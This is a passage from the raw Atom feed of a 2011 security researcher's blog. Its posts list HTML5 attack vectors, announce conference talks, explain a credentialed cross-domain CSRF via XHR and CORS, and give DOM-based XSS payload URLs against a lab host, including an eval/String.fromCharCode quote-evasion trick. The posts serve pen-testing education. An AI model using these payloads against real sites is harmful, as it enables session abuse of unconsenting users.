SOP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;3.&amp;nbsp; AttackingWebSQL and client side SQL injection &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;4.&amp;nbsp; Stealinginformation from Storage and Global variables&amp;nbsp; &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;5.&amp;nbsp; HTML5 tag abuse and XSS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;6.&amp;nbsp; HTML5/DOM based XSS and redirects&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;7.&amp;nbsp; DOMinjections and Hijacking with HTML 5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;8.&amp;nbsp; Abusingthick client features&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;9.&amp;nbsp; UsingWebSockets for stealth attacks&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;10.AbusingWebWorker functionality&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;u&gt;&lt;b&gt;Browser Attack Surface and Layers&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ZhcqzFF_iu0/TuGmFHT8KFI/AAAAAAAAAM0/5Gouz9geRhs/s1600/browser-arch.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="210" src="http://1.bp.blogspot.com/-ZhcqzFF_iu0/TuGmFHT8KFI/AAAAAAAAAM0/5Gouz9geRhs/s320/browser-arch.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt; &lt;/div&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-7223359993848477898?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/7223359993848477898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11830896&amp;postID=7223359993848477898' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7223359993848477898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7223359993848477898'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2011/12/top-10-html5-threats-attack-vectors.html' title='Top 10 HTML5 Threats &amp; Attack Vectors'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-ZhcqzFF_iu0/TuGmFHT8KFI/AAAAAAAAAM0/5Gouz9geRhs/s72-c/browser-arch.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-37132403210147687</id><published>2011-12-06T22:04:00.000-08:00</published><updated>2011-12-06T22:07:44.820-08:00</updated><title type='text'>OWASP and Blackhat (Movie and Paper) - HTML5, XHR and DOM Security</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Presented at OWASP AppSecUS 2011 &lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="225" mozallowfullscreen="" src="http://player.vimeo.com/video/31588417?title=0&amp;amp;byline=0&amp;amp;portrait=0" webkitallowfullscreen="" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/31588417"&gt;Next Generation Web Attacks - HTML 5, DOM (L3) and XHR (L2) with Shreeraj Shah, Blueinfy Solutions Pvt. Ltd.&lt;/a&gt; from &lt;a href="http://vimeo.com/owasp"&gt;OWASP&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Paper presented at Blackhat USA 2011&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="__ss_9485760" style="width: 440px;"&gt; &lt;strong style="display: block; margin: 12px 0 4px;"&gt;&lt;a href="http://www.slideshare.net/shreeraj/blackhat11-shreeraj-reverseengineeringbrowser" target="_blank" title="Blackhat11 shreeraj reverse_engineering_browser"&gt;Blackhat11 shreeraj reverse_engineering_browser&lt;/a&gt;&lt;/strong&gt; &lt;iframe frameborder="0" height="510" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/9485760" width="440"&gt;&lt;/iframe&gt; &lt;div style="padding: 5px 0 12px;"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/shreeraj" target="_blank"&gt;Shreeraj Shah&lt;/a&gt; &lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-37132403210147687?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/37132403210147687/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11830896&amp;postID=37132403210147687' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/37132403210147687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/37132403210147687'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2011/12/owasp-and-blackhat-movie-and-paper.html' title='OWASP and Blackhat (Movie and Paper) - HTML5, XHR and DOM Security'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1442038155405585564</id><published>2011-12-02T22:14:00.001-08:00</published><updated>2011-12-02T22:24:27.388-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOM based XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Double eval()'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='DOM injection'/><title type='text'>Double eval() for DOM based XSS</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;DOM based XSS are becoming relatively common with Web 2.0and Ajax driven applications. DOM based applications are using eval() method toinject new stream into the existing DOM. In certain cases it is becomingtricky to pass on the values for pen-testing and to create an abuse/exploitscenario. Recently during consulting we came across different DOM based XSS andobjective is to get a pop-up to confirm the vulnerability. If we get an evalcall then it is possible to double eval-ing to convert text back into payload.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Here is a simple scenario; it can be complicated on case tocase basis.&lt;/div&gt;&lt;div class="MsoNormal"&gt;For example, we have following line in the code &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US;"&gt;&lt;b&gt;eval('getProduct('+koko.toString()+')');&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Here “koko” is coming from URL or controlled by user. Hence,if we pass on the value in following URL it gets to the “getProduct” function.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://192.168.3.2/catalog.aspx?pid=3"&gt;http://192.168.3.2/catalog.aspx?pid=3&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Testing scenario is simple, it causes DOM based XSS withfollowing condition.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://192.168.3.2/catalog.aspx?pid=3');//"&gt;http://192.168.3.2/catalog.aspx?pid=3’);//&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;We are passing payload terminating function, endingstatement and commenting out rest of the script. We get a simple pop-up if wepass on following code.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://192.168.3.2/catalog.aspx?pid=3');alert(1)//"&gt;http://192.168.3.2/catalog.aspx?pid=3’);alert(1)//&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;But to prove a point if we want to craft any other payloadwhere we need to send single quote, for example want to execute “document.getElementsByName('Login')”will not work since we have that single quote that will raise syntax error. Forsimplicity if we pass on alert(‘hi’), it will not work and we will not getpopup in above scenario.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://192.168.3.2/catalog.aspx?pid=3');alert('hi')//"&gt;http://192.168.3.2/catalog.aspx?pid=3’);alert(‘hi’)//&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;We get following error in the browser.&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-family: 'Courier New'; font-size: x-small;"&gt;&lt;span style="line-height: 14px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="font-family: 'Courier New'; font-size: 10pt; line-height: 115%;"&gt;&lt;b&gt;Error: syntax error&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%;"&gt;&lt;b&gt;Source File: http://192.168.3.2/catalog.aspx?pid=3%27);elval(alert(%27hi%27));//&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%;"&gt;&lt;b&gt;Line: 37, Column: 29&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%;"&gt;&lt;b&gt;Source Code:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%;"&gt;&lt;b&gt;getProduct(3%27);elval(alert(%27hi%27));//)&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Interestingly, we can leverage double eval() in this case, wepass on following payload and let’s see what happens…&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://192.168.3.2/catalog.aspx?pid=3');eval(String.fromCharCode(97,108,101,114,116,40,39,104,105,39,41))//"&gt;http://192.168.3.2/catalog.aspx?pid=3’);eval(String.fromCharCode(97,108,101,114,116,40,39,104,105,39,41))//&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;It will avoid error and we will get a pop-up. What we didwas simple, we used fromCharCode function and passed on decimal values foralert(‘hi’) here, first eval will convert it into string and second eval willexecute the code. Hence, double eval can rescue while testing DOM based XSS.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Curiously I searched this trick on web if people are usingit and came across this article - http://blogs.msdn.com/b/infopath/archive/2006/04/05/569338.aspx&lt;/div&gt;&lt;div class="MsoNormal"&gt;Double eval() can be leveraged for string operations and concatenation.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1442038155405585564?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/1442038155405585564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11830896&amp;postID=1442038155405585564' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1442038155405585564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1442038155405585564'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2011/12/double-eval-for-dom-based-xss.html' title='Double eval() for DOM based XSS'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-2846430783284106991</id><published>2011-11-28T21:55:00.000-08:00</published><updated>2011-11-28T22:05:55.852-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XHR'/><category scheme='http://www.blogger.com/atom/ns#' term='JSON'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='SOP'/><category scheme='http://www.blogger.com/atom/ns#' term='CORS'/><title type='text'>CSRF with JSON – leveraging XHR and CORS</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;Same Origin Policy (SOP) dictates cross domain calls andallows establishment of cross domain connections. SOP bypasses allow CSRFattack vector, an attacker can inject a payload on cross domain page thatinitiate a request without consent or knowledge of the target user. HTML 5 ishaving one more policy in place called CORS (Cross Origin Resource Sharing).CORS is a “response blind” technique and controlled by extra added HTTP header“orgin” and their variants but it allows request to hit the target in one waydirection. Hence, it is possible to do one-way CSRF. It is possible to initiateCSRF vector using XHR-Level 2 on HTML 5 pages and can prove really lethalattack vector. XHR establishes a stealth connection and remains much hidden,XHR connection can be set using &lt;i&gt;“withCredentials”&lt;/i&gt; as true along with POSTmethod. It allows cookie to replay and helps in crafting successful CSRFscenario or session riding. Interestingly HTML 5 along with CORS allowsperforming file upload CSRF as well. It is possible to craft a JavaScript usingXHR and inject JSON payload as cross domain. If server side code on JSONlibrary is not validating the “Content-Type” then it will process the requestand allows successful CSRF.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;For example,&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Here is a script which will do CSRF on cross domain.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-jw1idX9r7z8/TtRxUU1kRMI/AAAAAAAAAMk/NqniTA9fSKE/s1600/fig0-code.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="247" src="http://1.bp.blogspot.com/-jw1idX9r7z8/TtRxUU1kRMI/AAAAAAAAAMk/NqniTA9fSKE/s400/fig0-code.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-family: 'Courier New'; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;Here, we have &lt;i&gt;“Content-Type”&lt;/i&gt;&amp;nbsp;as &lt;i&gt;“text-plain” &lt;/i&gt;and no new extra header added so CORS will not initiate OPTIONSto check rules on the server side and directly make POST request. At &amp;nbsp;the same time we have kept credential to “true”so cookie will replay.&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;On the wire we can see followingrequest.&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-7S8IijD9mzU/TtRvx81a1pI/AAAAAAAAAMc/WYnxYRHcOCo/s1600/fig1-request.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="302" src="http://4.bp.blogspot.com/-7S8IijD9mzU/TtRvx81a1pI/AAAAAAAAAMc/WYnxYRHcOCo/s400/fig1-request.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpFirst"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpFirst"&gt;As you can see cookie isreplayed and JSON POST has been initiated. We get following response back fromapplication.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-8-PrMWwfOzE/TtRyFikBG5I/AAAAAAAAAMs/jqNb2XRTgQs/s1600/fig2-response.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="276" src="http://1.bp.blogspot.com/-8-PrMWwfOzE/TtRyFikBG5I/AAAAAAAAAMs/jqNb2XRTgQs/s400/fig2-response.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpFirst"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormalCxSpFirst"&gt;Application processedthe request and sent JSON back. It is clear case of CSRF. This can be appliedto other streams as well.&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-2846430783284106991?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/2846430783284106991/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11830896&amp;postID=2846430783284106991' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2846430783284106991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2846430783284106991'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html' title='CSRF with JSON – leveraging XHR and CORS'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-jw1idX9r7z8/TtRxUU1kRMI/AAAAAAAAAMk/NqniTA9fSKE/s72-c/fig0-code.jpg' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4079060461840697350</id><published>2011-03-30T01:02:00.000-07:00</published><updated>2011-03-30T01:04:35.173-07:00</updated><title type='text'>Training at Syscan - Web Hacking – Threats &amp; Countermeasure</title><content type='html'>&lt;h5 id="sys_11_01"&gt;Web Hacking – Threats &amp;amp; Countermeasure&lt;/h5&gt;     Introduction and adaptation of new technologies like Ajax, Rich  Internet Applications and Web Services      has changed the dimension of Web Hacking and Security. We are  witnessing new ways of hacking and exploiting      web based applications and it needs better understanding of  technologies to perform penetration testing and      assessment of web security. The course is designed by the author of  “Web Hacking: Attacks and Defense”,      “Hacking Web Services” and “Web 2.0 Security – Defending Ajax, RIA  and SOA” bringing his experience in application      security and research as part of curriculum to address new  challenges for pen-testers, consultants, auditors and QA teams.      Web Hacking 2.0 is extensively hands-on class with real life  challenges and lab exercises. Participants would be      methodically exposed to various different attack vectors and  exploits. The learning sessions feature real life cases,      hands one exercises, new scanning tools and exploits.&lt;br /&gt;&lt;br /&gt;Visit syscan training page - &lt;a href="http://syscan.org/syscan11-training/sys_11_01.php"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4079060461840697350?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4079060461840697350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4079060461840697350'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2011/03/training-at-syscan-web-hacking-threats.html' title='Training at Syscan - Web Hacking – Threats &amp; Countermeasure'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4631872217485312813</id><published>2011-03-23T00:35:00.000-07:00</published><updated>2011-03-23T01:29:45.416-07:00</updated><title type='text'>HTML 5, XHR (L2) and DOM (L3) - Top 10 Attacks</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Current stack and technology surface&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-JRczNqWWGN4/TYmhSIZ9HiI/AAAAAAAAAIg/4bpquqaA-S8/s1600/browstack.jpg"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 290px; height: 248px;" src="http://1.bp.blogspot.com/-JRczNqWWGN4/TYmhSIZ9HiI/AAAAAAAAAIg/4bpquqaA-S8/s200/browstack.jpg" alt="" id="BLOGGER_PHOTO_ID_5587174145595874850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Top 10 Attack Vectors&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;1. XSS abuse with tags and attributes&lt;br /&gt;2. DOM based XSS and Redirects&lt;br /&gt;3. Stealing from the storage&lt;br /&gt;4. Injecting and Exploiting WebSQL&lt;br /&gt;5. Abusing network API and Sockets&lt;br /&gt;6. CSRF across streams – JSON, AMF and XML&lt;br /&gt;7. Sandbox attacks and ClickJacking&lt;br /&gt;8. Abusing new features like drag-and-drop&lt;br /&gt;9. Botnet/Spynet gets persistent life using WebWorkers&lt;br /&gt;10. Threats to widgets and mashups&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-DhjjKe3Wm8k/TYmiTCX59iI/AAAAAAAAAIw/Du_HgbP2Tbo/s1600/html5-threat-model.jpg"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 312px; height: 202px;" src="http://1.bp.blogspot.com/-DhjjKe3Wm8k/TYmiTCX59iI/AAAAAAAAAIw/Du_HgbP2Tbo/s200/html5-threat-model.jpg" alt="" id="BLOGGER_PHOTO_ID_5587175260668163618" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4631872217485312813?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4631872217485312813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4631872217485312813'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2011/03/html-5-xhr-l2-and-dom-l3-top-10-attacks.html' title='HTML 5, XHR (L2) and DOM (L3) - Top 10 Attacks'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-JRczNqWWGN4/TYmhSIZ9HiI/AAAAAAAAAIg/4bpquqaA-S8/s72-c/browstack.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-341792561289979242</id><published>2010-09-24T22:43:00.000-07:00</published><updated>2010-09-24T23:08:31.286-07:00</updated><title type='text'>DOM Hacking - 